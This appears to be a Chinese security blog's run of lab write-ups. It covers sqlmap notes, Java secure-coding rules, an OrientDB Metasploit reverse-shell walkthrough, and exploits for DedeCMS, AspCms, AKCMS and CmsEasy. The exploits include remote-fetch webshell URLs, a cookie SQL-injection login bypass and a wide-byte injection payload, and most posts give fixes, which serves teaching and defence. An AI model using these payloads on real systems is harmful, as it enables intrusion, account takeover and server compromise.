sqlmap学习系列(1)

SQL注入技术：

  • 基于布尔（bool）的盲注，可以根据返回页面判断条件真假的注入。
  • 基于时间（time）的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟，语句是否执行（即页面返回时间是否增加）来判断
  • 基于报错（error）注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
  • 联合查询（union）注入，可以使用union的情况下的注入。
  • 堆查询注入，可以同时执行多条语句的执行时的注入。

SQLmap三种请求类型的注入探测

  • get请求:sqlmap.py -u "URL"
  • post请求：sqlmap.py -u "URL" --data "post数据"
  • cookie：sqlmap.py -u "URL" --cookie "cookie数据"

获取数据库相关信息

--current-db 数据库名

--current-user用户名

--count -D "数据库名" 获取数据库的数据量

--privileges 查看用户的权限

Microsoft SQL Server最高权限用户名：sa/ Mysql：root

Mysql

1
2
3
4
获取当前库名：--current-db
获取库中的表名：--tables -D "数据库名"
获取库中某个表的列名：--columns -T "表名" -D "列名"
获取该库中的某个表名中的某个列名的字段内容：--dump -C "列名" -T "表名" -D "列名"

MongoDB/NoSQL=》github&nosqlmap项目

管理自己的数据库

sqlmap.py -d "mysql://用户名：密码@地址：端口/数据库" --sql-shell

需下载：pymysql=》github解压，setup.py install

延时注入

页面无变化，布尔无真假，从来不报错=>延时注入

--delay 延时时间或者 -safe-freq

命令执行与交互式

交互式前提：注入点为最高权限

命令执行 ： --os-cmd="命令" 且知道网站的绝对路径

写shell :--os-shell 且知道网络的绝对路径=》访问shell可以上传文件

Tamper脚本

--tamper="脚本名称"

脚本汇总链接

本地写webshell

注入点最高权限

--file-write "./xxx/xxx.txt"本地文件的地址（路径）

--file-dest "d:/www/xxx"目标文件的地址（路径）

批量检测注入漏洞

  • get=》选项为-m 文件
  • post=》burp-suite-》options=》misc=》proxy抓取post包
    • -l burp.log --batch -smart 对burp.log中保存的所有requests进行注入扫描，batch自动选择yes，smart启发式快速判断，节约时间

Payload

  • xml文件夹中
  • -v 参数（7个等级，默认为1）
    • 0：只显示python错误以及严重的信息
    • 1：同时显示信息和警告信息（默认）
    • 2：同时显示debug的信息
    • 3：同时显示注入的Payload
    • 4：同时显示HTTP请求
    • 5：同时显示HTTP响应头
    • 6：同时显示HTTP响应页面

抓包

--proxy="http：//ip:port" 对于burpsuite里面的代理监听

展开全文 >>

Java安全开发规范

拒绝服务

  • zip炸弹：限制文件大小及文件类型
  • xml外部实体攻击：
    xml文件可以动态的加载内容，外部数据可以通过DTD嵌入到xml文档中，通过构造指向本地路径（/dev/random或者/dev/tty），当程序加载的时候，程序可能会意外终止或阻塞，导致服务不能完成。
    1
    2
    3
    4
    <?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "file:/dev/tty">
    <foo>bar</foo>
    当程序加载时，会尝试读入文件/dev/tty，某些linux系统读取这个文件，会阻塞程序，直到系统终端输入数据。
1
解决方法：定义白名单，自定义实现EntityResolver接口，实现接口方法public InputSource resolveEntity(String publicld,String systemld)，过滤systemld。
  • 文件资源释放
1
2
3
4
5
6
7
8
9
10
11
#使用文件资源进行操作后，并未对其释放，例如：
try (final InputStream in = new FileInputStream(file)){
    use(in);
}
#解决方法，关闭资源:
final InputStream in = new FileInputStream(file);
try{
    use(in);
}finally{
    in.close();
}
  • 数据库资源释放

没有正确及时关闭数据库连接资源(Connection,Statement,ResultSet)

敏感信息

  • 避免直接输出异常信息

当系统数据或调试信息通过输出流或者日志功能流出程序时就会发生信息泄露。

  • 避免在日志上输出敏感信息
  • 避免明文保存敏感配置信息

注入问题

  • 跨站攻击

    • 标准化字符序列：比如外部为Unicode编码，可使用函数对外部输入标准化。

  • 动态SQL问题

    • 参数化查询

      1
      2
      PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE PASSWORD=?");
      prep.setString(1,pwd);

    • 过滤敏感字符

  • XML注入问题

    • 解决XSD约束
    • 过滤敏感字符

  • Xpath注入

    • 检查提交的数据会否包含特殊字符，对特殊字符进行编码转换或替换，删除敏感字符或字符串。
    • 数据提交到服务器端，在服务器正式处理这批数据之前，对提交数据的合法性再次进行验证。

  • 命令行注入（将不可信的外部数据传入exec函数）

    • java API中的Runtime.exec()函数问题
    • 解决方法：按需求严格过滤命令，增加命令白名单
    • 编码实现某些应用特定需求，例如ls/dir命令

  • 正则表达式注入

    • 输入过滤，对输入的查询条件过滤
    • 输出过滤，对不符合要求的输出过滤

可访问性和可扩展性

  • 限制类，接口，方法和字段的可访问（接口的成员是隐式公开）
  • 限制包的可访问性：阻止反射机制来访问包的成员
  • Final类和方法：不允许扩展的类和方法应该声明为final
  • Clone问题：深浅拷贝

序列化和反序列化

  • Transient
    • 在包含系统资源的直接句柄和相对地址空间信息的字段前使用transient关键字。避免该对象在序列化状态下可能会被修改，从而使得被反序列化后获取对资源的不当访问。
  • 字节流加密

编码问题

  • 忽略调用方法的返回值
  • 空指针引用
  • 整数溢出
    • 先决条件检测
    • 向上类型转换
    • 使用BigInteger类
  • ==和equals()
    • equals方法尽量重写，而不是直接使用父类方法
  • 返回数组问题
  • 硬编码问题
    • 敏感数据保存在属性文件中
  • 读取字节流或者字符流的方法，使用int类型返回值
  • 本地方法调用安全
    • 载入的时候对传入的数据进行可控安全检测
  • Double解析问题

第三方组件安全问题

  • 慎重使用第三方组件
    • 尽量从官方渠道下载第三方组件
    • 对第三方组件的安全测试
    • 对第三方组件的安全加固
    • 对第三方组件的安全补丁更新
    • 对第三方组件的定期升级

源代码检测产品

  • java/python/php:Fortify/CodePecker
  • C/C++：CodePecker/Coverity

C/C++安全开发规范

  • 变量未初始化

  • NULL指针引用

  • 先使用后检查

  • 缓冲区溢出

  • 格式化字符串攻击

展开全文 >>

OrientDB远程代码执行漏洞

OrientDB远程代码执行漏洞

通过Metasploit-Framework对OrientDB 2.2.2 < 2.2.22进行渗透并远程执行命令

0x0:扫描目标端口是否开放

由于Orientdb默认服务端口为2480，所以输入nmap -sS -Pn 172.16.12.2 -p 2480，扫描得到该地址的此端口开放情况。

0x1:导入metasploit模块。

在用metasploit找不到可用漏洞的模块情况下，可以在https://www.exploit-db.com/上搜索并保存。

然后在/root/.msf4/modules/exploits/目录下新建一个自定义目录，并在该目录下存放你的msf模块。

新建/root/.msf4/modules/exploits/orientdb,并在该目录下存放orientdb_exec.rb模块。

0x2:使用Metasploit-Framework进行渗透测试

命令msfconsole打开Metasploit-Framework。

接下来使用以下命令选择orientdb_exec插件：

1
use exploits/orientdb/orientdb_exec

设置Options

然后设置Payload为Linux/x86/meterpreter/reverse_tcp,而且设置LHOST为本机IP地址。

插件以及Payload配置完成之后，就可以使用run或者exploit对目标机进行渗透测试。

渗透测试成功之后，将会反弹一个meterpreter的Metasploit-Framework专属shell回来。

如果第一次执行之后返回的shell没有用，那么再执行一次即可。

至此，已经成功完成了对OrientDB的渗透测试，获取到了OrientDB目标服务器的权限并能远程执行命令。

0x03:通过Orient DB的权限进行横向渗透

首先进行必要的前期信息收集。

使用pwd命令查看当前目录。使用ps -aux命令查看运行的进程，分析进程可以得到该服务器正在运行的其他隐藏服务。使用netstat -an查看端口使用情况。

分析端口使用情况可以发现与本服务器正在通信的其他服务器以及通信端口代表的应用。例如445端口一般就是Windows共享。

在这里，发现OrientDB监听的2424端被远程地址172.16.12.3连接着的。

使用Nmap扫描172.16.12.3，发现172.16.12.3开放80端口。

访问http://172.16.12.3/index.php之后，得到一个Web界面。

确定172.16.12.3是一个Web应用端。

这时候，已经能够简约的画出网络拓扑图。

我们控制的电脑可以访问数据库服务器以及Web服务器。

而数据库服务器能与Web服务器互相通信。

如下图所示：

1

所以可以使用Dirbuster对该网站进行扫描操作。

（使用whereis定位软件的目录，找到自带的字典进行爆破目录。扫描可以得到几个重要的页面，分别是reg.php、login.php、upload.php、index.php。）

访问upload.php提示需要登陆。

先大体使用一下可用的功能，看一下网站逻辑。

通过分析，我们可以理出思路，先通过访问reg.php注册一个新用户，登陆后通过上传界面上传WebShell。

所以我们注册一个用户并且登陆，但是登陆之后访问上传界面提示普通用户权限过低，看来我们必须以管理员登陆才能访问上传界面。

但是该界面不存在SQL注入、XSS、CSRF等漏洞。

这种情况该怎么拿到管理员权限呢？

由于Web服务器172.16.12.3连接了OrientDB，所以它应该是通过OrientDB进行认证的。

那么我们有了一个思路，就是直接去OrientDB查看管理员账号密码，便可以直接登陆。

找到OrientDB的配置文件，配置文件是OrientDB根目录下config/orientdb-server-config.xml。

通过查看你根目录下的配置文件，可以得到数据库账号与密码。

便可以通过2480端口访问并登陆管理数据库了。

访问http://172.16.12.2:2480/，便可以看到数据库管理平台，登陆后，在SCHEMA里能看到有admin与user类。

我们需要管理员权限，所以查看admin类里面的对象，发现密码是加密后存储的。

没办法拿到明文。

但是由于可以注册新用户，http://172.16.12.3/reg.php,那么我们通过 注册的新用户的密码 去替换 管理员的密码 。

那么管理员的密码也变成了 自己注册用户的密码 了。

我们就可以以管理员的账户登陆了。

或者使用第二种方法，我们可以直接在数据库新建管理员对象，直接把之前 注册的账户的密码 复制后输入在密码字段。

也就可以使用自己创建的新的管理员成功登陆。

成功以管理员权限登陆Web后，发现新增了一个上传文件的权限。

那么我们上传一个WebShell试试。

测试发现该PHP对文件类型做了限制。

我们可以通过Burp抓包修改PHP文件类型为JPEG类型（image/jpeg）。

便可以绕过上传，成功拿到Webshell。

访问界面的时候就可以被burpsuite拦截了，我们可以通过Proxy的Intercept功能修改数据包，也可以使用快捷键Crtl R将数据包发送到Repeter，然后在Repeter修改并发送。

通过修改上传文件的类型进行绕过后端的认证。

成功得到可用的Webshell。

到此横向渗透成功。

0x04.总结

使用oRole来读取权限来允许用户显示用户的权限以及与oRole权限相关联的其他查询本身并没有错，只是在此时，查询语句中包含where、fetchplan和ORDER BY语句，则不需要此权限的要求和信息。

同时，使用数据库自建的Write用户不需要管理员口令，而且执行groovy函数的包装类没有沙箱，导致可以任意调用系统函数。

从而成为远程命令执行漏洞，根据渗透测试原理，有以下几种方案可以修复该漏洞：

禁用groovy函数

只要数据库禁用掉groovy函数。

便无法绕出沙箱，那么将会没办法调用系统函数，也就无法造成远程命令执行。

及时更新数据库

由于漏洞影响版本是2.2.2--2.2.23，所以及时更新数据库版本也可以避免此漏洞

展开全文 >>

SQlmap

SQL注入技术：

  • 基于布尔（bool）的盲注，可以根据返回页面判断条件真假的注入。
  • 基于时间（time）的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟，语句是否执行（即页面返回时间是否增加）来判断
  • 基于报错（error）注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
  • 联合查询（union）注入，可以使用union的情况下的注入。
  • 堆查询注入，可以同时执行多条语句的执行时的注入。

SQLmap三种请求类型的注入探测

  • get请求:sqlmap.py -u "URL"
  • post请求：sqlmap.py -u "URL" --data "post数据"
  • cookie：sqlmap.py -u "URL" --cookie "cookie数据"

获取数据库相关信息

--current-db 数据库名

--current-user用户名

--count -D "数据库名" 获取数据库的数据量

--privileges 查看用户的权限

Microsoft SQL Server最高权限用户名：sa/ Mysql：root

Mysql

1
2
3
4
获取当前库名：--current-db
获取库中的表名：--tables -D "数据库名"
获取库中某个表的列名：--columns -T "表名" -D "列名"
获取该库中的某个表名中的某个列名的字段内容：--dump -C "列名" -T "表名" -D "列名"

MongoDB/NoSQL=》github&nosqlmap项目

管理自己的数据库

sqlmap.py -d "mysql://用户名：密码@地址：端口/数据库" --sql-shell

需下载：pymysql=》github解压，setup.py install

延时注入

页面无变化，布尔无真假，从来不报错=>延时注入

--delay 延时时间或者 -safe-freq

命令执行与交互式

交互式前提：注入点为最高权限

命令执行 ： --os-cmd="命令" 且知道网站的绝对路径

写shell :--os-shell 且知道网络的绝对路径=》访问shell可以上传文件

Tamper脚本

--tamper="脚本名称"

脚本汇总链接

本地写webshell

注入点最高权限

--file-write "./xxx/xxx.txt"本地文件的地址（路径）

--file-dest "d:/www/xxx"目标文件的地址（路径）

批量检测注入漏洞

  • get=》选项为-m 文件
  • post=》burp-suite-》options=》misc=》proxy抓取post包
    • -l burp.log --batch -smart 对burp.log中保存的所有requests进行注入扫描，batch自动选择yes，smart启发式快速判断，节约时间

Payload

  • xml文件夹中
  • -v 参数（7个等级，默认为1）
    • 0：只显示python错误以及严重的信息
    • 1：同时显示信息和警告信息（默认）
    • 2：同时显示debug的信息
    • 3：同时显示注入的Payload
    • 4：同时显示HTTP请求
    • 5：同时显示HTTP响应头
    • 6：同时显示HTTP响应页面

抓包

--proxy="http：//ip:port" 对于burpsuite里面的代理监听

展开全文 >>

DedeCMS 5.7 远程文件包含漏洞

漏洞介绍

DedeCMS

DedeCMS又称织梦CMS，是集简单、健壮、灵活、开源几大特点的开源内容管理系统，是国内开源CMS的领先品牌，目前程序安装量已达七十万，超过六成的站点正在使用织梦CMS或基于织梦CMS核心开发。

漏洞介绍

在DedeCMS 5.7版本的install\index.bak处过滤不严格，可任意代码执行，导致Getshell。

影响范围

< = V5.7 SP1

文件包含

文件包含（Local File Include）是php脚本的一大特色，程序员们为了开发的方便，常常会用到包含。

比如把一系列功能函数都写进fuction.php中，之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞. 服务器通过php的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可以去包含一个恶意文件。成功利用时可以使web server会将特定文件当成php执行，从而导致用户可获取一定的服务器权限。

漏洞危害

攻击者可以利用文件包含漏洞，获取网站Shell，甚至对服务器造成一定威胁。

借用漏洞向服务器写入 webshell

漏洞原理

查看代码/install/index.php.bak 中部分代码：

1
2
3
4
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}//这里导致了可以变量覆盖

从$_GET，$_POST，$_COOKIE里面遍历初始化变量，${$_k} = xxxx，假设之前已经存在一个变量 a，如果k的值内容为a，就可以把之前a变量的值给覆盖掉，很明显的一个变量覆盖。

继续往下看：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
else if($step==11)  
{  
    require_once('../data/admin/config_update.php');  
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";  

    $sql_content = file_get_contents($rmurl);  
    $fp = fopen($install_demo_name,'w');  
    if(fwrite($fp,$sql_content))  
        echo '  [√] 存在(您可以选择安装进行体验)';  
    else  
        echo '  [×] 远程获取失败';  
    unset($sql_content);  
    fclose($fp);  
    exit();  
}

首先读了一下rmurl这个变量所指向的文件，读完之后放到sql_content变量，最后打开一个文件，把内容写进去。跟进一下updateHost这个变量。

$updateHost变量是通过包含../data/admin/config_update.php这个文件获得的:

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
 * 更新服务器，如果有变动，请到 http://bbs.dedecms.com 查询
 *
 * @version        $Id: config_update.php 1 11:36 2011-2-21 tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */

//更新服务器，如果有变动，请到 http://bbs.dedecms.com 查询
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';

定义了一个字符串，而字符串是一个远程的地址，如果我们将updateHost篡改成自己的服务器，再通过变量覆盖，就能写入任意的字符串。

因此我们的利用方法如下：

利用变量覆盖伪造rmurl地址，即控制updateHost

利用变量覆盖$install_demo_name 可对服务器指定位置写文件。

首先访问如下地址，通过变量覆盖，将install_demo_name覆盖成为config_update.php文件，也就是将原文件清空。

1
http://www.xxxx/install/index.php.bak?step=11&insLockfile=x&s_lang=x&install_demo_name=../data/admin/config_update.php

然后在本地搭建一个PHP环境，并在phpstudy安装目录的www目录下创建文件夹dedecms，最后在文件夹中新建文件demodata.x.txt，并写入如下内容：

1
2
3
<?php
phpinfo();
?>

接下来需要将demodata.x.txt中的内容写入到目标网站的根目录shell.php文件下。

访问如下地址：

1
http://www.xxxxx/install/index.php.bak?step=11&insLockfile=x&s_lang=x&install_demo_name=../shell.php&updateHost=http://172.16.11.2/

这样就在目标站点的根目录下写入了shell.php，并在里面写入了我们提前构造好的内容

漏洞利用

首先访问之前构造好的地址：

1
http://www.test.ichunqiu/install/index.php.bak?step=11&insLockfile=x&s_lang=x&install_demo_name=../data/admin/config_update.php

将文件替换并清空。接下在本地搭建PHP环境，在phpstudy安装目录的www目录下创建文件夹dedecms，最后在文件夹中新建文件demodata.x.txt，并写入如下内容：

1
2
3
<?php
phpinfo();
?>

这时，本地就准备就绪了，下面直接将txt文档中的内容写入到目标网站根目录，访问：

1
http://www.test.ichunqiu/install/index.php.bak?step=11&insLockfile=x&s_lang=x&install_demo_name=../shell.php&updateHost=http://172.16.11.2/

访问http://xxx/shell.php

可以看到，成功的创建了shell.php

漏洞修复

修复方案

1.删除install目录

2.把以下代码移动至首行,防止变量被覆盖

1
2
3
4
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

或直接升级版本。

展开全文 >>

AspCms 2.2.9 登录绕过漏洞

漏洞介绍

AspCms

ASPCMS是为中国企业重新设计的人性化后台，方便、简洁、实用、易用等特点。目前累计用户超40万，是目前中国本土最多使用量的企业建站类源码之一。

登录绕过漏洞

由于程序设计过程中认证逻辑存在缺陷，攻击者可以通过构造的账号和口令或者是访问某个页面、修改Cookie等方式绕过登录认证。

漏洞介绍

ASPCMS是国内一款非常流行的CMS 建站系统，其2.2.9版CommonFun.asp文件，函数ChecklLogin出现问题，导致攻击者可以绕过登录。

影响范围

AspCms 2.2.9

漏洞危害

攻击者通过登录绕过漏洞，直接进入后台系统，可随意操控后台数据，对网站甚至服务器，造成很大的损失。

漏洞原理

漏洞出现inc/AspCms_CommonFun.asp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Function checkLogin()
 if isnul(rCookie("adminName")) or rCookie("adminName")="" then 
  alertMsgAndGo"您还没有登陆","/"
 else
  dim Permissions
  Permissions=rCookie("groupMenu")
  if Permissions<>"all" and isnul(Permissions) then
   alertMsgAndGo"您没有访问权限","-1"
  end if
 end if
 dim sql
 if not isnum(rCookie("adminrand")) then alertMsgAndGo"您没有访问权限","-1" end if
 sql = "select count(*) from {prefix}User where LoginName = '"& rCookie("adminName") &"' and adminrand='"&rCookie("adminrand")&"'"
 Dim rscoo : Set rscoo=Conn.Exec(sql,"r1")
 if rscoo(0)<>1 then
   wCookie"adminName",""
   wCookie"adminId",""
   wCookie"groupMenu",""
   wCookie"SceneMenu",""
      alertMsgAndGo"您没有访问权限","-1"
 end if
End Function

系统通过checkLogin函数，来判断是否登录成功。我们可以看到使用了三个if语句进行检查，我们接下来依次进行分析：

1
2
3
4
5
6
7
8
9
10
11
Function checkLogin()
 if isnul(rCookie("adminName")) or rCookie("adminName")="" then 
  alertMsgAndGo"您还没有登陆","/"
 else
  dim Permissions
  Permissions=rCookie("groupMenu")
  if Permissions<>"all" and isnul(Permissions) then
   alertMsgAndGo"您没有访问权限","-1"
  end if
 end if
 dim sql

第一个判断，如果adminname的值为空，则跳出循环，并弹窗提示登录。

这里只是判断了值是否为空，我们可以给adminname随意赋一个值，就可以跳过这层的判断。

第二个判断，定义了一个Permissions，他从cookie中取groupMenu的值，如果不等于all，并且为空，就会拒绝访问。

因为cookie是用户可控的，这里只需将groupMenu的值改为all，就可以跳过这层判断。

1
2
3
4
5
6
7
8
9
10
11
12
dim sql
  if not isnum(rCookie("adminrand")) then alertMsgAndGo"您没有访问权限","-1" end if
 sql = "select count(*) from {prefix}User where LoginName = '"& rCookie("adminName") &"' and adminrand='"&rCookie("adminrand")&"'"
 Dim rscoo : Set rscoo=Conn.Exec(sql,"r1")
 if rscoo(0)<>1 then
   wCookie"adminName",""
   wCookie"adminId",""
   wCookie"groupMenu",""
   wCookie"SceneMenu",""
      alertMsgAndGo"您没有访问权限","-1"
 end if
End Function

第三个判断，如果adminrand的值不是数字，然后就会跳出。系统下面进行了sql查询，但是其中的adminrand用户可控，并且无过滤，接下来判断是否返回了一个1，如果返回1，则证明数据库中有我们传入的值。因此可以给adminName赋值为 admin ‘ or ‘ 1 ‘ = ’ 1 ‘。这样就能绕过第三层验证了。

通过以上分析，我们得出结论，将cookie修改为如下：

1
2
3
4
groupMenu=all;
adminrand=1;
adminName=admin' or '1'='1
languageID=1;

漏洞利用

1
2
3
4
document.cookie="groupMenu=all;";
document.cookie="adminrand=1;";
document.cookie="adminName=admin' or '1'='1;";
document.cookie="languageID=1;";

可直接登录后台xxx/admin_aspcms/

漏洞防护

在本漏洞中，只需将Cookie替换成为Session，就可以避免此漏洞的产生。

或者直接升级版本即可。

展开全文 >>

AKCMS 6.0 登录绕过漏洞

漏洞介绍

AKCMS

它是一个运行在PHP下的免费CMS，小巧灵活，速度快、兼容性好、能适应各种主机，适合二次开发。

漏洞介绍

由于AKCMS 6.0采用GBK编码，过滤不严谨，导致可以利用宽字节注入而绕过登录。

影响范围

AKCMS 6.0

漏洞危害

攻击者可以通过此漏洞直接获取网站后台权限，威胁网站信息，一旦拿到Webshell，会对服务器的安全造成巨大的威胁。

登录绕过漏洞

由于程序设计过程中认证逻辑存在缺陷，攻击者可以通过构造的账号和口令或者是访问某个页面、修改Cookie等方式绕过登录认证。

漏洞原理

首先来查看一下这个CMS的登录流程，入口在index.php ：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($get_app)) {
 $app = $get_app;
 include AK_ROOT.'include/admin.inc.php';
 include AK_ROOT.'include/app.inc.php';
 $file = AK_ROOT.'configs/apps/'.$app.'/program/index.php';
 if(file_exists($file)) require $file;
} else {
 $file = 'install';
 if(ifinstalled()) $file = 'admincp';
 if(!empty($_GET['file'])) $file = $_GET['file'];
 if(!in_array($file, array('account', 'admincp', 'db', 'customer', 'install', 'login', 'setting', 'upload', 'welcome', 'upgrade', 'repair', 'theme', 'app', 'license'))) exit;
 require CORE_ROOT.$file.'.php';
}
?>

在最后几行：

1
2
if(!in_array($file, array('account', 'admincp', 'db', 'customer',  'install', 'login', 'setting', 'upload', 'welcome', 'upgrade',  'repair', 'theme', 'app', 'license'))) exit;
require CORE_ROOT.$file.'.php';

如果file的值等于login，系统就会调用login.php。

继续跟进，login.php ：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!defined('CORE_ROOT')) exit();
require_once CORE_ROOT.'include/admin.inc.php';
if(isset($post_loginsubmit)) {
 if($editor = $db->get_by('*', 'admins', "editor='".$db->addslashes($post_username)."'")) {
  if(ak_md5($post_password, 0, 2) == $editor['password']) {
   if($editor['freeze'] == 1) adminmsg($lan['youarefreeze'], 'index.php', 3, 1);
   if(!empty($post_rememberlogin)) {
    setlogin($post_username, $thetime + 24 * 3600 * 365 * 10);
   } else {
    setlogin($post_username);
   }
   $target = 'index.php';
   if(ifthemeuninstalled()) $target = 'index.php?file=theme&action=themeinstall';
   adminmsg($lan['login_success'], $target);
  } else {
   adminmsg($lan['login_failed'], 'index.php?file=login', 3, 1);
  }
 } else {
  adminmsg($lan['login_failed'], 'index.php?file=login', 3, 1);
 }
} else {
 displaytemplate('login.htm');
}

当进入login.php后，首先包含文件admin.inc.php，接下来判断是否设置了post_loginsubmit这个变量，如果设置了则继续判断，没有设置的话，就跳到login.html，提示用户登录。

一般来说第一次点击login.php，肯定是没有设置之前那个变量的，因此就会提示登录。

继续看登录之后的判断逻辑。

将参数传递进去，传递给get_by函数，然后从数据库将对应的字符串取出来，对比两个的哈希值，我们继续跟进get_by函数，位于include/db.class.php ：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get_by($what, $from, $where = '', $orderby = '') {
  $table = $this->fulltablename($from);
  $sql = "SELECT {$what} FROM `{$table}`";
  if($where != '') $sql .= " WHERE {$where}";
  if($orderby != '') $sql .= " ORDER BY {$orderby}";
  if(strpos($what, '(') === false) $sql .= " LIMIT 1";
  $row = $this->get_one($sql);
  if($row === false) {
   return false;
  } elseif(count($row) == 1) {
   return current($row);
  } else {
   return $row;
  }
 }

在函数 get_by中，我们可以看到，根据传入的参数，拼接sql语句后，传入到get_one中，在传入之前，并没有做任何的过滤，跟进get_one：

1
2
3
4
5
function get_one($sql) {
  $arr = $this->querytoarray($sql, '', 1);
  if(count($arr) > 0) return array_shift($arr);
  return false;
 }

它调用了querytoarray这个函数，继续跟进这个函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function querytoarray($sql, $key = '', $num = 1000) {
  global $sqlcaches;
  $results = array();
  if(!empty($GLOBALS['batchcreateitemflag'])) {
   if(!isset($sqlcaches)) $sqlcaches = array();
   $cachekey = $sql.'*'.$num;
   if(isset($sqlcaches[$cachekey])) {
   }
  }
  $query = $this->query($sql);
  $i = 1;
  while($row = $this->fetch_array($query)) {
   if($key == '' || !isset($row[$key])) {
    $results[$i] = $row;
   } else {
    $results[$row[$key]] = $row;
   }
   if($i ++ >= $num) break;
  }
  return $results;
 }

可以看到这么一句代码：

1
$query = $this->query($sql);

将sql传入到query中，但这里并没有真正的执行，因此继续跟进query：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function query($sql, $ignoresafe = 0) {
  global $ifdebug, $slowquery, $thetime;
  if(!empty($ifdebug)) $start = akmicrotime();
  if(empty($ignoresafe)) {
   if(preg_match('/^(select|delete)\s+.*?(select|update|detele|insert|replace)\s+/i', $sql, $match)) {
    eventlog("REJECT\t".$sql, 'sql');
    return false;
   }
  }
  if($ignoresafe == 1 && strpos($sql, ";\n") != false) {
   $sqls = explode(";\n", $sql);
   foreach($sqls as $sql) {
    if(trim($sql) != "") $query = $this->_query($sql);
   }
  } else {
   $query = $this->_query($sql);
  }

首先将sql传入进来，然后经过正则表达式的过滤，在最后调用了_query，这个query就是对sql查询的具体实现。

通过上述分析，我们可以得出：

sql在query函数中用了正则表达式做了过滤

post_username只在login.php中用了addslashes处理。

只有这两处做了过滤，只要我们绕过了这两处过滤，就可以成功注入。

如何构造Payload：

1
2
3
4
if(preg_match('/^(select|delete)\s+.*?(select|update|detele|insert|replace)\s+/i', $sql, $match)) {
 eventlog("REJECT\t".$sql, 'sql');
 return false;
}

绕过sql在query函数中用正则表达式做过滤，可以用/**/代替空格绕过。

addslashes使用反斜线引用字符串，在单引号，双引号，反斜线，NUL前加反斜线，导致无法闭合。可以利用GBK宽字符注入：在引号前加%df

1
2
print `\xdf\x5c`.decode('gbk')     得軍汉字 其中x5c为\
GBK编码，编码范围是0x8140~0xFEFE（不包括xx7F），在遇到%df(ascii(223))>ascii(128)时自动拼接%5c，因此吃掉\，而%27，%20小于ascii(128)的字符就保留了。

最后分析login的校验为md52次，分析表结构，通过联合union查询，通过分析我们可以得出payload：

1
action=login&username=a％df' union select/**/1,2,md5(md5(3)),4,5,6#password=3&loginsubmit=％B5％C7％C2％BC

漏洞利用

http://xx.xx.xx.xx/_aak_cms111/index.php?file=login&crumb=eflAT3

利用hackbar，post-payload：

1
action=login&username=a％df' union select/**/1,2,md5(md5(3)),4,5,6#password=3&loginsubmit=％B5％C7％C2％BC

漏洞防护

1.代码使用了mysql_query("set names gbk")来设置编码，mysql中推荐使用mysql_set_charset("gbk")函数来进行编码设置。后者会修改mysql对象中的mysql->charset属性为设置的字符集。

2.配套的过滤函数为mysql_real_escape_string()

展开全文 >>

CmsEasy 5.5 代码执行漏洞

漏洞介绍

CmsEasy

是一款基于 PHP+Mysql 架构的网站内容管理系统，也是一个PHP开发平台。 采用模块化方式开发，功能易用便于扩展，可面向大中型站点提供重量级网站建设解决方案。

漏洞介绍

本次漏洞的根源产生在PHP函数preg_replace上，攻击者可以通过构造语句，达到任意代码执行的目的。

影响范围

CmsEasy 5.5 20130716

漏洞危害

成功利用该漏洞后，攻击者可以远程任意代码执行，直接调用服务器命令终端，执行任意命令，直接威胁到服务器的安全。

代码执行漏洞

用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

漏洞原理

漏洞的根源出现在PHP函数preg_replace 上，首先来了解一下这个函数：

这个函数的作用是执行正则表达式的搜索和替换，它的语法如下：

1
mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] )
  • 参数 pattern 代表正则表达式
  • 参数 replacement表示替换的内容
  • 参数 subject表示需要匹配替换的对象
  • 参数 limit 则表示指定替换的个数，如果省略 limit 或者其值为 -1，则所有的匹配项都会被替换。

重点在于pattern参数，可以使用一些PCRE修饰符，包括被启用的e(PREG_REPLACE_EVAL)，接下来再来了解一下这个函数的危害：

这个函数从PHP5.5以后已经废弃，官方建议不要使用本特性。

函数preg_replace在进行了对替换字符串的过滤和验证后，会将替换后的字符串作为PHP代码执行返回。

了解了这个函数的危害后，下面具体分析代码：

在lib/tool/form.php 中，漏洞代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getform($name,$form,$field,$data) {
       if (get('table') &&isset(setting::$var[get('table')][$name]))
           $form[$name]=setting::$var[get('table')][$name];
       if (get('form') &&isset(setting::$var[get('form')][$name]))
           $form[$name]=setting::$var[get('form')][$name];
       if (isset($form[$name]['default']))
           $form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);
       if (!isset($data[$name]) &&isset($form[$name]['default']))
           $data[$name]=@$form[$name]['default'];
       if (preg_match('/templat/',$name) &&empty($data[$name]))
           $data[$name]=@$form[$name]['default'];
       if (@$form[$name]['filetype'] == 'image') {
           $return=form::upload_image($name,front::post($name) ?front::post($name) : @$data[$name]);
       }

